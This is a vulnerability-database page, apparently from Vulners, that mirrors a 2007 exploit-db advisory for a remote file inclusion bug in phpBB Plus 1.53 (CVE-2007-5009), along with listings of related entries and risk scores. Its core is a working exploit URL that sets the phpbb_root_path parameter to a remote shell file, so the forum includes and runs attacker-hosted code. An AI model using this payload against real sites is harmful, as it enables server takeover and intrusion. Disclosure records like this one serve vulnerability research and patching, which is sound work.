Lucene search
+L

phpBB Plus 1.53 - 'phpbb_root_path' Remote File Inclusion

🗓️ 20 Sep 2007 00:00:00Reported by MehradType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

phpBB Plus 1.53 RFI Bug in lang_main_album.ph

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2007-5009
20 Sep 200721:00
cve
cvelist
Cvelist
CVE-2007-5009
20 Sep 200721:00
cvelist
nvd
NVD
CVE-2007-5009
20 Sep 200721:17
nvd
canvas
canvas
Immunity Canvas: PHPBBPLUS_INCLUDE
20 Sep 200721:17
canvas
nessus
Tenable Nessus
phpBB Multiple Module phpbb_root_path Parameter Remote File Inclusion
4 May 200600:00
nessus
prion
Prion
Remote file inclusion
20 Sep 200721:17
prion
prion
Prion
Remote file inclusion
26 Sep 200722:17
prion
AUTHOR = Mehrad Ansari Targhi
E-Mail : [email protected]
My Yahoo Messenger ID : mehrad_1989

Script Download URL : http://www.phpbbplus.net/PhpBBPlus1.53.zip

This Is A RFI Bug .
This Bug Is In : [ PHPBBPLUS INSTALLED ]/language/lang_german/lang
_main_album.php

Exploit : http://[PHPPLUS]/language/lang_german/lang_main_album.php?phpbb_root_path=[ http://shell.txt]?a=

# milw0rm.com [2007-09-20]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Sep 2007 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.45032
40